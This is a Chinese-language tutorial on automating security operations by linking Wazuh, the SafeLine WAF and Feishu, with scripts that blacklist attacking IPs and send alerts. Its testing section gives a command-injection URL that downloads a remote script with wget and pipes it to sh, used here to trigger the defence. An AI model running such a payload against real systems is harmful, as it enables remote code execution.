Files
SafeLine/documents/docs/05-submission/02-operate.md
2024-05-14 15:55:47 +08:00

22 KiB
Raw Blame History

title
title
自动化安全运营实操案例: Wazuh X 雷池WAF X 飞书

自动化安全运营实操案例: Wazuh X 雷池WAF X 飞书

作者曼联小胖子社区42群

背景

作为中小型企业的安全工程师往往面临资源有限没SOC/SOAR、人手不足的情况很可能1个人要负责运营公司所有安全产品例如我。 为了提升安全运营的工作效率,我们需要解决以下问题:

  1. 避免频繁切换安全系统看日志
  2. 避免人工封禁IP的傻瓜式操作
  3. 将攻击详情以及处置告警及时通知到相关人员,并且方便随时讨论

本文主要介绍“Wazuh X 雷池WAF X 飞书”联动的场景另外实际工作中还能产生”Wazuh X 网络/安全设备 X 飞书"、”Wazuh X 服务器 X 飞书"、“Wazuh X 蜜罐 X飞书“的应用以后有时间再逐个开坑做案例分享。

软件介绍

Wazuh

一款国外的SIEM平台可以理解为安全版的ELK具有日志统计分析、可视化、主机监控等功能。目前github有9.2k star目前分为Saas版和开源版。 Wazuh分为Server端以及AgentAgent可以对服务器进行日志监控、漏洞检测、安全合规基线扫描、进程收集集成Virus Total接口后可具备磁盘恶意文件检测能力。

本文中使用的是私有部署的开源版 4.7.3,主要提供日志监控、下发指令自动处置的能力。

雷池社区版

雷池SafeLine是长亭科技耗时近 10 年倾情打造的WAF核心检测能力由智能语义分析算法驱动目前分为社区版、专业版和企业版。

本文使用的是私有部署的社区版 5.4.0主要提供Web安全检测防护能力、产生安全日志。

飞书

一款字节跳动旗下的工作协同平台和IM软件读者公司若使用钉钉、企业微信也可以达到一样效果。

本文使用的是商业版 7.15.9 ,主要用于接收告警通知和工作沟通,相比传统邮件的沟通方式更高效。

工作流程图

Alt text

效果图

Alt text

Alt text

前置工作

服务器2台

Wazuh Server服务器操作系统本文以CentOS 7.6为例该服务器需要部署Wazuh Server以及处置python脚本CPU、内存、硬盘要求可参考官方文档和下图 Alt text

雷池WAF服务器32G内存4核CPU100G硬盘操作系统本文以Rocky Linux 9.3为例代替将要停服的CentOS7。该服务器需要部署雷池WAF以及Wazuh Agent。

安装Wazuh Server

Wazuh Server的组件以及功能非常多还支持集群部署。由于篇幅问题本文不展开进行阐述旨在快速部署环境。 运行官方一键安装脚本,建议挂魔法,避免安装过程失败。

curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash ./wazuh-install.sh -a

安装完成后会输出web访问地址和admin密码输入https://ip 后即可访问wazuh的web界面。

如果访问不了请检查防火墙是否放开443端口。

INFO: --- Summary ---
INFO: You can access the web interface https://<wazuh-dashboard-ip>
    User: admin
    Password: <ADMIN_PASSWORD>
INFO: Installation finished.

如还有安装问题,见官方安装文档并自行根据提示和日志进行排查。

安装雷池WAF

  1. 安装docker

    #删除旧版本docker
    sudo yum remove docker \
            docker-client \
            docker-client-latest \
            docker-common \
            docker-latest \
            docker-latest-logrotate \
            docker-logrotate \
            docker-engine
    #安装最新版本docker
    sudo yum install -y yum-utils
    sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
    sudo yum install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
    sudo systemctl start docker
    sudo systemctl enable docker
    
  2. 安装雷池WAF

    CDN=1 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"
    

    安装完成后注意防火墙放开9443端口初始账号为admin密码在安装完waf后会随机生成

    如还有安装问题,见官方安装文档。

安装Wazuh Agent

  1. 本地用浏览器登录Wazuh Web管理界面:

    Alt text

  2. 进入部署界面

    Alt text

  3. 生成Wazuh Agent部署命令

    Alt text

  4. 登录雷池WAF服务器执行以下命令安装Wazuh Agent。注意Wazuh Server的1514、1515端口要开放给雷池WAF服务器访问。

    curl -o wazuh-agent-4.7.4-1.x86_64.rpm https://packages.wazuh.com/4.x/yum/wazuh-agent-4.7.4-1.x86_64.rpm && sudo WAZUH_MANAGER='192.168.31.24' WAZUH_AGENT_NAME='waf' rpm -ihv wazuh-agent-4.7.4-1.x86_64.rpm
    sudo systemctl daemon-reload
    sudo systemctl enable wazuh-agent
    sudo systemctl start wazuh-agent
    

安装飞书

官网直接下载飞书安装即可

配置过程

雷池WAF配置

  1. 本地浏览器登录雷池WAF管理界面根据自己公司的实际情况添加要保护的域名例如a.test.com

    Alt text

  2. 添加一个自定义IP组后面做黑名单用。

    Alt text

  3. 添加一个黑名单关联上一步创建的IP组。

    Alt text

  4. 根据实际情况配置雷池WAF的安全功能

    Alt text

雷池WAF服务器配置

  1. 登录雷池WAF服务器映射雷池pgsql数据库本地登录端口5432到宿主机后续shell脚本需要登录数据库

    docker stop safeline-pg
    systemctl stop docker
    vim /var/lib/docker/containers/$(docker ps --no-trunc | grep safeline-pg | awk '{print $1}')/hostconfig.json  #找到PortBindings修改为以下配置"PortBindings":{"5432/tcp":[{"HostIp":"127.0.0.1","HostPort":"5432"}]},  
    systemctl start docker 
    netstat -tnlp | grep 5432 #查看pgsql数据库的端口是否成功映射到宿主机
    
  2. 获取pgsql数据库的密码

    cat /data/safeline/.env | grep POSTGRES_PASSWORD | tail -n 1 | awk -F '=' '{print $2}'
    
  3. 创建.pgpass后续传递密码给shell脚本使用

    vim /var/scripts/.pgpass,添加以下参数
    localhost:5432:safeline-ce:safeline-ce:abcd #把abcd替换成第2步中获取到的密码
    
  4. 创建shell脚本主要功能是生成syslog日志给wazuh监控使用

    mkdir /var/log/waf_alert
    touch /var/log/waf_alert/waf_alert.log
    touch /var/scripts/waf_log.sh
    chmod u+x /var/scripts/waf_log.sh
    vim /var/scripts/waf_log.sh添加以下代码
    #!/bin/bash
    
    # 设置PGPASSFILE环境变量
    export PGPASSFILE=/var/scripts/.pgpass
    
    # PostgreSQL 的连接信息
    PG_HOST="localhost"
    PORT="5432"
    DATABASE="safeline-ce"
    USERNAME="safeline-ce"
    HOSTNAME=$(hostname) 
    PROGRAM_NAME="safeline-ce"
    
    #获取最后一条WAF攻击事件日志的ID日志数据存储在MGT_DETECT_LOG_BASIC表中
    LAST_ID=$(psql -h $PG_HOST -p $PORT -U $USERNAME -d $DATABASE -t -P footer=off -c "SELECT id FROM PUBLIC.MGT_DETECT_LOG_BASIC ORDER BY id desc limit 1")
    while true;do
    #从pgsql数据库中获取waf的最新攻击事件日志如果没有产生新日志这条SQL会返回空
        raw_log=$(psql -h $PG_HOST -p $PORT -U $USERNAME -d $DATABASE -t -P footer=off -c "SELECT TO_CHAR(to_timestamp(timestamp) AT TIME ZONE 'Asia/Hong_Kong', 'Mon DD HH24:MI:SS'), CONCAT(PROVINCE, CITY) AS SRC_CITY, SRC_IP, CONCAT(HOST, ':', DST_PORT) AS HOST,url_path,rule_id,id FROM PUBLIC.MGT_DETECT_LOG_BASIC where id > '$LAST_ID' ORDER BY id asc limit 1")
    #检查SQL查询结果如果有新加的日志就执行以下操作把SQL查询结果重写为syslog日志并记录到/var/log/waf_alert/waf_alert.log
        if [ -n "$raw_log" ]; then
            ALERT_TIME=$(echo "$raw_log" | awk -F ' \\| ' '{print $1}')
            SRC_CITY=$(echo "$raw_log" | awk -F ' \\| ' '{print $2}')
            SRC_IP=$(echo "$raw_log" | awk -F ' \\| ' '{print $3}')
            DST_HOST=$(echo "$raw_log" | awk -F ' \\| ' '{print $4}')
            URL=$(echo "$raw_log" | awk -F ' \\| ' '{print $5}')
            RULE_ID=$(echo "$raw_log" | awk -F ' \\| ' '{print $6}')
            EVENT_ID=$(echo "$raw_log" | awk -F ' \\| ' '{print $7}')
            syslog="src_city:$SRC_CITY, src_ip:$SRC_IP, dst_host:$DST_HOST, url:$URL, rule_id:$RULE_ID, log_id:$EVENT_ID"
            echo $ALERT_TIME $HOSTNAME $PROGRAM_NAME: $syslog >> /var/log/waf_alert/waf_alert.log
    #更新最后处理的事件ID
            LAST_ID=$(($LAST_ID+1))
        fi
        sleep 3     
    done
    
  5. 后台运行监控脚本,并且添加开机启动:

    nohup /var/scripts/waf_log.sh > /dev/null 2>&1 &
    vim /etc/rc.local添加以下代码
    nohup /var/scripts/waf_log.sh > /dev/null 2>&1 &
    

飞书配置

  1. 添加一个安全告警通知群和群机器人,后面需要通过这个机器人发告警卡片到群里。

    Alt text

  2. 选择自定义机器人。

    Alt text

  3. 保存webhook地址后面配置wazuh脚本要用。

    Alt text

Wazuh Server配置

  1. 添加触发告警时调用的脚本一共有2个文件这是custom-waf文件不用做任何修改

    touch /var/ossec/integrations/custom-waf
    chmod 750 /var/ossec/integrations/custom-waf
    chown root:wazuh /var/ossec/integrations/custom-waf
    vim /var/ossec/integrations/custom-waf ,添加以下代码:
    
    #!/bin/sh
    # Copyright (C) 2015, Wazuh Inc.
    # Created by Wazuh, Inc. <info@wazuh.com>.
    # This program is free software; you can redistribute it and/or modify it under the terms of GPLv2
    
    WPYTHON_BIN="framework/python/bin/python3"
    
    SCRIPT_PATH_NAME="$0"
    
    DIR_NAME="$(cd $(dirname ${SCRIPT_PATH_NAME}); pwd -P)"
    SCRIPT_NAME="$(basename ${SCRIPT_PATH_NAME})"
    
    case ${DIR_NAME} in
        */active-response/bin | */wodles*)
            if [ -z "${WAZUH_PATH}" ]; then
                WAZUH_PATH="$(cd ${DIR_NAME}/../..; pwd)"
            fi
    
            PYTHON_SCRIPT="${DIR_NAME}/${SCRIPT_NAME}.py"
        ;;
        */bin)
            if [ -z "${WAZUH_PATH}" ]; then
                WAZUH_PATH="$(cd ${DIR_NAME}/..; pwd)"
            fi
    
            PYTHON_SCRIPT="${WAZUH_PATH}/framework/scripts/${SCRIPT_NAME}.py"
        ;;
        */integrations)
            if [ -z "${WAZUH_PATH}" ]; then
                WAZUH_PATH="$(cd ${DIR_NAME}/..; pwd)"
            fi
    
            PYTHON_SCRIPT="${DIR_NAME}/${SCRIPT_NAME}.py"
        ;;
    esac
    
    ${WAZUH_PATH}/${WPYTHON_BIN} ${PYTHON_SCRIPT} "$@" 
    
  2. 这是封禁IP以及发飞书告警的python脚本custom-waf.py我用的是centos自带的python 2.7.5,注释部分需更改为自己的信息

    mkdir /var/log/waf/block_ip.log
    chown wazuh:wazuh /var/log/waf/block_ip.log
    chmod 644 /var/log/waf/block_ip.log
    touch /var/ossec/integrations/custom-waf.py
    chmod 750 /var/ossec/integrations/custom-waf.py
    chown root:wazuh /var/ossec/integrations/custom-waf.py
    vim /var/ossec/integrations/custom-waf.py ,添加以下代码:
    
    #!/usr/bin/env python
    import sys
    import json
    import ssl
    import requests
    import os
    import datetime
    import urllib3  
    from urllib3.exceptions import InsecureRequestWarning
    urllib3.disable_warnings(InsecureRequestWarning)
    
    def read_alert_file():
        alert_file = open(sys.argv[1])
        alert_json = json.loads(alert_file.read())
        alert_file.close()
        timestamp = alert_json['predecoder']['timestamp']
        hostname = alert_json['predecoder']['hostname']
        description = alert_json['rule']['description']
        full_log = alert_json['full_log']
        src_city = alert_json['data']['src_city']
        src_ip = alert_json['data']['src_ip']
        dst_host = alert_json['data']['dst_host']
        dst_url = alert_json['data']['dst_url']
        print(src_ip)
        return timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url
    
    def login(host,username,password):
        csrf_url = f"{host}/api/open/auth/csrf"  
        response = requests.get(csrf_url, verify=False)
        data = response.json()
        csrf_token = data["data"]["csrf_token"] 
        login_data = {  
            'csrf_token': csrf_token,  
            'username': username,  
            'password': password,  
        } 
        login_url = f"{host}/api/open/auth/login"
        response = requests.post(login_url,json=login_data,verify=False)
        data = response.json()
        jwt = data["data"]["jwt"]
        return jwt
    
    def get_info(host,jwt):
        url = f"{host}/api/open/ipgroup?top=1001"
        headers={
        "Content-Type": "application/json", 
        "Authorization": f"Bearer {jwt}"
        }
        response = requests.get(url,headers=headers,verify=False) 
        data = response.json()
        ip_group_id = data["data"]["nodes"][-1]["id"]
        ip_group_name = data["data"]["nodes"][-1]["comment"]
        ips = data["data"]["nodes"][-1]["ips"]
        ips_count = len(ips)
        url = f"{host}/api/open/rule"
        requests.get(url,headers=headers,verify=False) 
        return ip_group_id,ip_group_name,ips,ips_count
    
    def update_ip_group(host,jwt,ip_group_id,ip_group_name,ips,src_ip):
        url = f"{host}/api/open/ipgroup" 
        ips.append(src_ip) 
        headers={
            "Content-Type": "application/json", 
            "Authorization": f"Bearer {jwt}"
        }
        body = {
            "id":ip_group_id,
            "reference":"",
            "comment":ip_group_name,
            "ips":ips
        }
        requests.put(url,json=body,headers=headers,verify=False)
    
    def create_ip_group(host,jwt,ip_group_id,ip_group_name,src_ip):
        url = f"{host}/api/open/ipgroup"
        ip_group_id = ip_group_id +1
        ip_group_name = "black_ip_group_name-" + str(ip_group_id)
        src_ip = [src_ip]
        headers={
            "Content-Type": "application/json", 
            "Authorization": f"Bearer {jwt}"
        }
        body = {
            "reference":"",
            "comment":ip_group_name,
            "ips":src_ip
        }
        requests.post(url,json=body,headers=headers,verify=False)
        return ip_group_id,ip_group_name
    
    def create_rule(host,jwt,ip_group_id,ip_group_name):
        url = f"{host}/api/open/rule"
        headers={
            "Content-Type": "application/json", 
            "Authorization": f"Bearer {jwt}"
        }
        body = {
            "action": 1,
            "comment": ip_group_name,
            "is_enabled": True,
            "pattern": [{
                "k": "src_ip",
                "op": "in",
                "v": str(ip_group_id),
                "sub_k": ""
            }]
        }
        requests.post(url,json=body,headers=headers,verify=False)
    
    def feishu(webhook_url,timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url):
        headers={
            "Content-Type": "application/json"
        }
        msg_data = {
            "msg_type": "interactive",
            "card": {
                "header": {
                    "title": {
                        "tag": "plain_text",
                        "content": description
                    },
                    "template": "red"
                },
                "elements": [
                    {
                        "tag": "div",
                        "text": {
                            "tag": "lark_md",
                            "content": "**请注意以下攻击源IP已加入黑名单。**" + "\n\n" + "**告警时间: **" + timestamp + "\n" + "**告警来源: **" + hostname + "\n" + "**攻击源地址: **" + src_city + "\n" + "**攻击源IP: **" + src_ip + "\n" + "**被攻击地址: **" + dst_host + "\n" + "**被攻击路径: **" + dst_url
                        }
                    },
                    {
                        "tag": "hr"
                    },
                    {
                        "tag": "div",
                        "text": {
                            "tag": "lark_md",
                            "content": "**原始syslog日志:**" + "\n" + full_log
                        }
                    },
                ]
            }
        }
        requests.post(webhook_url,json=msg_data,headers=headers)
    
    def print_log(log_file_path,src_ip):
        now = datetime.datetime.now()  
        time_str = now.strftime('%b %d %H:%M:%S')  
        log_template = "{time} prod-waf safe-line:{ip} has been blocked." 
        message = log_template.format(time=time_str, ip=src_ip) 
        log_file_path = log_file_path
        with open(log_file_path, 'a') as log_file:  
            log_file.write(message + '\n') 
    
    def main(host,username,password,log_file_path,webhook_url):
        timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url = read_alert_file()
        jwt = login(host,username,password)
        ip_group_id,ip_group_name,ips,ips_count = get_info(host,jwt)
        if ips_count > 999:
            ip_group_id,ip_group_name = create_ip_group(host,jwt,ip_group_id,ip_group_name,src_ip)
            create_rule(host,jwt,ip_group_id,ip_group_name)
        else:
            update_ip_group(host,jwt,ip_group_id,ip_group_name,ips,src_ip)
        feishu(webhook_url,timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url)
        print_log(log_file_path,src_ip)
    
    host = "https://192.168.1.1:9443" #替换成WAF地址
    log_file_path = "/var/log/waf/block_ip.log"
    webhook_url = "https://open.feishu.cn/open-apis/bot/v2/hook/c742cec0-94e9-449b-8473-597b873" #替换成飞书机器人地址
    username = "admin"
    password = "123456" #替换成WAF密码
    if __name__ == "__main__":  
        main(host,username,password,log_file_path,webhook_url)
        sys.exit(0)
    
  3. 添加Wazuh Server解码器

    touch /var/ossec/etc/decoders/safeline-waf-decoders.xml
    chmod 660 /var/ossec/etc/decoders/safeline-waf-decoders.xml
    chown wazuh:wazuh /var/ossec/etc/decoders/safeline-waf-decoders.xml
    vim /var/ossec/etc/decoders/safeline-waf-decoders.xml添加以下代码
    
    <decoder name="safeline-ce">
    <program_name>safeline-ce</program_name>
    <regex>src_city:(\.*), src_ip:(\.*), dst_host:(\.*), url:(\.*), rule_id:(\.*), log_id:(\d+)</regex>
    <order>src_city,src_ip,dst_host,dst_url,rule_id,log_id</order>
    </decoder>
    
  4. 添加Wazuh Server告警规则

    touch /var/ossec/etc/rules/safeline-waf-rules.xml
    chmod 660 /var/ossec/etc/rules/safeline-waf-rules.xml
    chown wazuh:wazuh /var/ossec/etc/rules/safeline-waf-rules.xml
    vim /var/ossec/etc/rules/safeline-waf-rules.xml添加以下代码
    
    <group name="syslog,safeline,">
    <rule id="119101" level="7">
        <decoded_as>safeline-ce</decoded_as>
        <match>a.test.com</match>#a.test.com替换成在waf上配置保护的域名
        <description>入侵事件:a.test.com</description> #这里可以修改为自己喜欢的内容,这个信息最终会呈现到飞书消息卡片的标题上
    </rule>
    
  5. 修改Wazuh Server的ossec配置

    vim /var/ossec/etc/ossec.conf,添加以下代码:
    <integration>
        <name>custom-waf</name>
        <rule_id>119101</rule_id>
        <alert_format>json</alert_format>
    </integration>
    
  6. 重启Wazuh Server使所有配置生效

    /var/ossec/bin/wazuh-control restart
    

Wazuh Agent配置

  1. 登录雷池WAF服务器配置ossec监听waf_alert.log日志文件

    vim /var/ossec/etc/ossec.conf ,添加以下配置
    
    <localfile>
        <log_format>syslog</log_format>
        <location>/var/log/waf_alert/waf_alert.log</location>
    </localfile>
    

    最后如图

    Alt text

  2. 重启Wazuh Agent使ossec配置生效

    systemctl restart wazuh-agent
    

大功告成,测试效果

对网站进行漏扫或者输入攻击测试语句,触发告警,查看拦截结果,例如

https://a.test.com/view.php?doc=11.jpg&format=swf&isSplit=true&page=||wget%20http://spotslfy.com/wget.sh%20-O-|sh

飞书告警卡片,群里的相关人员都可以看到非常清晰的消息卡片

Alt text

雷池WAF IP黑名单可以看到攻击源IP 47.1.1.1已经自动添加

Alt text

当攻击者想再次尝试访问网站,已经被拦截

Alt text

如果想统计一共封了多少个黑名单IP可以直接查看日志

cat /var/log/waf/block_ip.log

Alt text

发散思维

由于个人精力有限关于飞书告警其实我还有2个想法没实现有兴趣和开发能力的同学可以继续探索

  1. 为了避免误封IP其实推送到飞书的卡片消息可以增加两个交互按钮“确认封禁IP”“忽略”当点击“确认封禁IP”时才触发封禁IP同时发送一条处置结果到群里做通知。

  2. 告警信息推送到飞书群后现在是无法做统计分析的。飞书多维表格有基础的excel能力以及强悍的自动化流程能力经过精心的表格字段设计、自动化流程配置和API开发可以作为低成本的安全数据中心和SOAR使用例如定期推送安全周报到飞书安全工作群、定期汇总恶意IP清单并推送给安全设备等